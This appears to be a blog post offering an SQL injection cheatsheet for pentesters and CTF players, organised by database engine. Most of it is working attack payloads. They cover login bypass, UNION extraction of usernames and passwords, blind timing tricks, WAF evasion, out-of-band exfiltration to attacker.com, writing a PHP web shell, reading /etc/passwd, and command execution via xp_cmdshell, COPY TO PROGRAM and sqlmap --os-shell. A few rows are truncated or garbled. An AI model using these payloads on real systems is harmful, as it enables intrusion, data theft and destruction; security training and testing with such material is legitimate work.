SQL Injection Cheatsheet

Wed Jul 09 2025

SQLi Cheatsheet

SQL Injection (SQLi) remains one of the most dangerous and widely exploited web vulnerabilities - even decades after its discovery. Despite countless defenses and awareness campaigns, improperly sanitized inputs still lead to critical breaches across modern web applications, APIs, and even mobile backends.

This comprehensive SQLi cheatsheet is a go-to reference for:

  • Bug bounty hunters
  • Web app pentesters
  • CTF participants
  • Security researchers
  • Developers aiming to understand and defend against SQLi

It covers everything from basic discovery and fingerprinting to blind injection, bypass tricks, out-of-band exfiltration, and even SQLi-to-RCE escalations — all categorized per DBMS (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) with example payloads.

Table of Contents

Table of Contents

  1. Initial Tests (Discovery Phase)
  2. Comment Syntax per DBMS
  3. Substring Extraction
  4. String Concatenation
  5. Database Fingerprinting
  6. Conditional Errors (Boolean Trigger)
  7. Error-Based Data Leakage
  8. Detecting Number of Columns
  9. Discovering Injectable Columns
  10. Group_Concat Usage
  11. Detecting WAF Presence
  12. Extracting DB Info
  13. Login Bypass Payloads
  14. Time-Based SQLi (Blind)
  15. Timing-Based Data Extraction via Bitwise Operations
  16. Blind Boolean-Based Automation Logic
  17. Out-of-Band (OOB) SQLi
  18. DNS Lookup (Out-of-Band)
  19. DNS Lookup with Data Exfiltration
  20. Second-Order SQLi Example
  21. Bypass Techniques
  22. SQLi in Other Contexts
  23. Detection Techniques
  24. Payload Bank
  25. Other Payload Types
  26. Database Permissions Enumeration
  27. SQLi → LFI (Local File Inclusion)
  28. SQLi → File Write
  29. SQLi → RCE (Remote Code Execution)
  30. Error Message Banners Enumeration (Non-Injection)
  31. SQLite Specific Payloads
  32. Stored Procedure Abuse (MSSQL, MySQL)
  33. PostgreSQL COPY Command with RCE
  34. Tools & Automation
  35. Other Useful SQLi Tools
  36. Fuzzing & Detection
  37. Manual Testing Helpers
  38. Bypass & Tampering Tools
  39. Payload Repositories & Test Sets
  40. Practice Labs to Try
  41. Tips

Initial Tests (Discovery Phase)

ActionPayload / ExampleNotes
Basic test for SQLi' or " or ;--Look for errors or behavior change
Comment rest of query' -- or "# or ' /*Comments vary by DB
Numeric test1 OR 1=1Works if param is numeric
String test' OR 'a'='aTests injection into string context
Time-based test' OR SLEEP(5)--Useful in Blind SQLi
Boolean test' AND 1=1 -- vs ' AND 1=2 --Helps confirm Blind SQLi
Statement stacking1; DROP TABLE users; --Only in some DBs like MSSQL, PostgreSQL, not in MySQL by default

Comment Syntax per DBMS

DBMSComment Syntax
MySQL-- , #, /* */
MSSQL--, /* */
Oracle--, /* */
PostgreSQL--, /* */
SQLite--, /* */

Always add a space after -- for MySQL.

Substring Extraction

DBMSSyntaxResult for input 'foobar', 4, 2ba
OracleSUBSTR('foobar', 4, 2)
MicrosoftSUBSTRING('foobar', 4, 2)
PostgreSQLSUBSTRING('foobar', 4, 2)
MySQLSUBSTRING('foobar', 4, 2)

String Concatenation

DBMSSyntax
Oracle'foo'||'bar’
Microsoft'foo'+'bar'
PostgreSQL'foo'||'bar’
MySQL'foo' 'bar' or CONCAT('foo','bar')

Database Fingerprinting (Version Detection)

DBMSQuery
MySQL / MariaDBSELECT @@version;
PostgreSQLSELECT version();
OracleSELECT * FROM v$version;
Microsoft SQL Server (MSSQL)SELECT @@version;
SQLiteSELECT sqlite_version();
IBM DB2SELECT service_level FROM TABLE (sysproc.env_get_inst_info()) AS INSTANCEINFO;
FirebirdSELECT rdb$get_context('SYSTEM', 'ENGINE_VERSION') FROM rdb$database;
SAP HANASELECT * FROM "SYS"."M_DATABASE";
CockroachDBSHOW CLUSTER SETTING version;
Amazon RedshiftSELECT version();
TeradataSELECT * FROM DBC.DBCInfoV;
InformixSELECT dbinfo('version', 'full') FROM systables WHERE tabid = 1;

Conditional Errors (Boolean Trigger)

DBMSExample
OracleSELECT CASE WHEN (condition) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (condition) THEN 1/0 ELSE NULL END
PostgreSQL1 = (SELECT CASE WHEN (condition) THEN 1/(SELECT 0) ELSE NULL END)
MySQLSELECT IF(condition,(SELECT table_name FROM information_schema.tables),'a')

Error-Based Data Leakage

DBMSExample
MicrosoftSELECT 'foo' WHERE 1 = (SELECT 'secret') → Conversion failed when converting varchar to int
PostgreSQLSELECT CAST((SELECT password FROM users LIMIT 1) AS int) → invalid input syntax for integer
MySQLSELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) → XPATH syntax error

Detecting Number of Columns

TechniquePayload
ORDER BY' ORDER BY 1-- then ' ORDER BY 2--… until error
UNION SELECT' UNION SELECT NULL-- then add ,NULL until no error

Discovering Injectable Columns

' UNION SELECT 1,NULL--
' UNION SELECT NULL,2--
' UNION SELECT 1,2,3--

→ Replace NULL with strings or numbers to identify reflected output.

Group_Concat

Helpful for extracting multiple rows in a single query.

SELECT GROUP_CONCAT(username, ':', password SEPARATOR ',') FROM users;

Use with INFORMATION_SCHEMA:

SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database();

→ This is for MySQL only. Other databases have different functions

Detecting WAF Presence

Sometimes WAFs block specific patterns. We can fingerprint them:

TestWhat it Indicates
' AND 1=1-- vs ' AND 1=2--If both return same result → WAF
Encoded payload blockedWAF may block %27
Delays blockedSleep functions might be filtered

We can then bypass with encodings, obfuscation, or time-based fuzzing.

Extracting DB Info

InfoMySQLPostgreSQLOracleMSSQL
Current DBSELECT database();SELECT current_database();SELECT ora_database_name FROM dual;SELECT DB_NAME();
Current UserSELECT user();SELECT user;SELECT user FROM dual;SELECT SYSTEM_USER;
All DBsSELECT schema_name FROM information_schema.schemata;sameSELECT name FROM v$database;SELECT name FROM master..sysdatabases;
All TablesSELECT table_name FROM information_schema.tables;sameSELECT table_name FROM all_tables;SELECT table_name FROM information_schema.tables;
All ColumnsSELECT column_name FROM information_schema.columns WHERE table_name='users';sameSELECT column_name FROM all_tab_columns WHERE table_name='USERS';same

→ For Oracle, SELECT ora_database_name FROM dual; requires Oracle 12c+. For older versions, use SELECT name FROM v$database;

Login Bypass Payloads

PayloadUse
' OR '1'='1'--Basic string-based bypass
' OR 1=1--Numeric bypass
' OR 'x'='x'--Blind bypass
admin'--Bypass with known username
' UNION SELECT 1, 'admin', 'password'--Bypass + inject data
' OR 1=1 LIMIT 1 OFFSET 1--Limit result set

Time-Based SQLi (Blind)

DBMSPayload
MySQLSELECT SLEEP(10);
PostgreSQLSELECT pg_sleep(10);
MSSQLWAITFOR DELAY '0:0:10';
Oracledbms_pipe.receive_message(('a'),10)

Conditional Delays

DBMSPayload
MySQLSELECT IF(condition,SLEEP(10),'a');
PostgreSQLSELECT CASE WHEN (condition) THEN pg_sleep(10) ELSE pg_sleep(0) END;
MSSQLIF (condition) WAITFOR DELAY '0:0:10';
OracleSELECT CASE WHEN (condition) THEN dbms_pipe.receive_message('a',10) ELSE NULL END FROM dual;

Timing-Based Data Extraction via Bitwise Operations

Very useful in Blind SQLi (character-by-character exfiltration):

' OR ASCII(SUBSTRING((SELECT database()),1,1)) = 115 AND SLEEP(5) --

→ Automated timing extraction scripts can be created from this pattern.

Blind Boolean-Based Automation Logic

More structured loop for automation:

SELECT ASCII(SUBSTR((SELECT user()),1,1)) > 100

→ Can be used to binary search characters (faster).

Out-of-Band (OOB) SQLi

DBMSPayload Example
MSSQLexec master..xp_dirtree '\\attacker.com\pwned'
OracleSELECT UTL_HTTP.REQUEST('http://attacker.com') FROM dual;
PostgreSQLCOPY (SELECT '') TO PROGRAM 'nslookup attacker.com';

Requires attacker-controlled server + Burp Collaborator / DNS log.

DNS Lookup (Out-of-Band)

DBMSPayload
OracleSELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
MSSQLexec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQLCOPY (SELECT '') TO PROGRAM 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQLLOAD_FILE('\\BURP-COLLABORATOR-SUBDOMAIN\a') or SELECT ... INTO OUTFILE '\\BURP-COLLABORATOR-SUBDOMAIN\a'

DNS Lookup with Data Exfiltration

DBMSPayload
OracleSELECT UTL_HTTP.REQUEST(‘[http://attacker.com/?q=
MSSQLDECLARE @p VARCHAR(1024); SET @p=(SELECT YOUR_QUERY); EXEC('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR/a"')
PostgreSQLUse plpgsql function with COPY TO PROGRAM 'nslookup ...' and dynamic execution
MySQLSELECT YOUR_QUERY INTO OUTFILE '\\BURP-COLLABORATOR-SUBDOMAIN\a' (Windows only)

These techniques may require privileges and attacker-controlled DNS listener (e.g., Burp Collaborator).

Second-Order SQLi Example

  1. Submit username = '); DROP TABLE users; --

  2. Input is stored safely in DB

  3. Later retrieved in unsafe query:

    SELECT * FROM logins WHERE username = '$stored_value';

→ Always check both reflected and stored flows.

Bypass Techniques

MethodExample
Case SwappingUnIoN SeLeCt
Inline CommentsUNI/**/ON SEL/**/ECT
Hex Encoded0x41414141
String Concatenation'UN' + 'ION SELECT'
Whitespaces%0a, %09, %0b, %0c, +, etc.
EncodingUse %27, %2F, %5C
Char functionsCHAR(65)+CHAR(66)

SQLi in Other Contexts

1️⃣ SQLi via JSON Body (API)

{
  "username": "' OR 1=1 --",
  "password": "abc"
}

Use tools like Postman or Burp Repeater to test these endpoints.


2️⃣ SQLi in HTTP Headers

User-Agent: ' OR '1'='1
Referer: ' OR 1=1 --
X-Forwarded-For: ' OR SLEEP(5) --

3️⃣ SQLi in Cookies

Cookie: sessionid=abc' OR '1'='1

4️⃣ SQLi in URL Path

/profile/1' AND 1=1 --/
/api/data/' UNION SELECT version() --/

5️⃣ SQLi in GraphQL

{
  "query": "{ users(filter: \"' OR '1'='1\") { id name } }"
}

Detection Techniques

TechniqueDescription
Boolean TestingCompare true vs false response
Time DelayUse SLEEP, WAITFOR DELAY, pg_sleep, etc.
Error-BasedTrigger detailed error messages
Response DifferentialsSlight layout/length changes
OOB DNS/HTTPExternal call triggered on payload (blind but powerful)

Payload Bank

GoalPayload
Login bypass' OR 'a'='a'--
Data exfil' UNION SELECT null, username, password FROM users--
Time delay' OR SLEEP(10)--
Error-based' AND 1=CONVERT(int, (SELECT @@version))--
Boolean true' AND 1=1--
Boolean false' AND 1=2--

Other Payload Types

TypeExample
Hex Injection' UNION SELECT 0x61646D696E, NULL--
Unicode‘ OR 1=1 –
Null Byte%00 (for old PHP/MySQL combos)
Timing Chain' OR IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0)--
Bitwise`1
Subquery' AND (SELECT COUNT(*) FROM users) > 0 --

Database Permissions Enumeration

Useful to test what we’re allowed to do (privilege escalation):

SELECT user(), current_user(), session_user(); -- varies by DBMS
SHOW GRANTS;
SELECT * FROM mysql.user; -- If possible

SQLi → LFI (Local File Inclusion)

PostgreSQL:

UNION SELECT pg_read_file('/etc/passwd')

MySQL (with secure_file_priv disabled):

SELECT LOAD_FILE('/etc/passwd');

SQLi → File Write

MySQL:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

⚠️ Needs FILE permission + correct path

Advanced UNION-Based Exploits with File Write

For exfil via web-accessible files:

UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'

Already covered, but perhaps add:

  • MySQL’s secure_file_priv can block this
  • Apache must have write permission

SQLi → RCE (Remote Code Execution)

MSSQL:

EXEC xp_cmdshell 'whoami';

PostgreSQL:

COPY (SELECT '') TO PROGRAM 'id';

Oracle (Java-based RCE):

SELECT DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec("cmd.exe")') FROM dual;

Error Message Banners Enumeration (Non-Injection)

We can extract info from generic errors even without full injection.

  • 500 Internal Server Error → App crash
  • ODBC SQL Server Driver → MSSQL backend
  • PG::SyntaxError → PostgreSQL backend
  • ORA-00933: SQL command not properly ended → Oracle

SQLite Specific Payloads

Often overlooked, but used in mobile/web apps:

SELECT sqlite_version();
SELECT name FROM sqlite_master WHERE type='table';

Stored Procedure Abuse (MSSQL, MySQL)

Run OS commands or escalate:

  • MSSQL:
EXEC master..xp_cmdshell 'whoami';
  • MySQL (if enabled):
CALL sys_eval('id');

PostgreSQL COPY Command with RCE

COPY (SELECT '') TO PROGRAM 'id';

PostgreSQL-specific, but often unmonitored in internal systems.

Tools & Automation

1. sqlmap

Common usage:

sqlmap -u "http://target.com/page.php?id=1" --dbs

Advanced:

sqlmap -r request.txt --level=5 --risk=3 --batch --os-shell

Key features:

  • Auto enumeration
  • Dump tables, data
  • Write/read files
  • RCE on MSSQL/PostgreSQL

2. Burp Suite

  • Use Repeater for manual payload tuning
  • Intruder for fuzzing injection points
  • Logger++ to monitor headers
  • Add extensions:
    • SQLiPy
    • Backslash Powered Scanner

3. NoSQLMap (for MongoDB)

python NoSQLMap.py -u http://target.com --dbs

Other Useful SQLi Tools

Fuzzing & Detection

ToolDescription
WFuzzFlexible web fuzzing tool that can brute-force SQLi points with payload lists
ffuf (Fast Fuzzer)Super fast fuzzing for parameters, headers, and paths
NucleiTemplate-based vulnerability scanner — use community or custom templates to detect SQLi
DalFoxPrimarily for XSS, but supports fuzzing HTTP parameters — helpful in chained attacks

Manual Testing Helpers

ToolDescription
PostmanTest APIs for SQLi (especially JSON-based)
httpieCommand-line HTTP client, good for quick SQLi testing
InsomniaGUI for REST APIs (like Postman)
MitmproxyInspect/edit SQLi payloads in intercepted HTTP requests on the fly

Bypass & Tampering Tools

ToolDescription
NoSQLMapAutomated MongoDB injection & enumeration tool
SQLi Dumper (Windows only)GUI-based SQLi exploitation tool, often used in CTFs
Havij (Outdated/Windows)GUI tool for automated SQLi (very beginner friendly but flagged by AV tools)
TAMPERDATAFirefox extension to modify requests on the fly
sqlninjaTargets Microsoft SQL Server for SQLi + post-exploitation (incl. shell)
BBQSQLPython-based blind SQLi framework — helps automate boolean/time-based attacks

Payload Repositories & Test Sets

Tool / ResourceDescription
PayloadsAllTheThingsGitHub repo with extensive SQLi payload lists
SecListsMassive list of fuzzing payloads (SQLi, XSS, LFI, more)
FuzzDBPayloads and error patterns for fuzzing SQLi and more
SQLi-LABSLocal lab environment with 65+ challenges
Damn Vulnerable REST API (DVRA)REST-based app for practicing modern SQLi in APIs

Practice Labs to Try

PlatformFocus
PortSwigger AcademyStructured SQLi Learning
DVWAAll security levels (Low, Med, High)
bWAPPRealistic, deep variations
Juice ShopHarder, logic-focused
HackTheBox / TryHackMeReal CTF-style machines
PentesterLabSolid theory + practice

Tips

  • Always encode payloads properly for the context (URL, JSON, Headers)
  • Use LIMIT, OFFSET to iterate rows if needed
  • Always test POST, GET, Headers, and Cookies
  • Second-order bugs may not show immediate effects — trace the flow
  • Explore stacked queries (; DROP TABLE users;--) where supported
  • Use prepared statements. Example:cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

Key takeaways:

  • Don’t rely solely on automated tools — manual testing and understanding application behavior is crucial.
  • Always test in different contexts: GET, POST, cookies, headers, JSON bodies, GraphQL, and more.
  • Stay mindful of WAF limitations and bypass techniques.
  • Remember second-order injections and logic flaws can be just as dangerous.
  • Above all — hack responsibly, ethically and with proper authorization.

This cheatsheet is also available on my GitHub — feel free to check it out, fork, or contribute!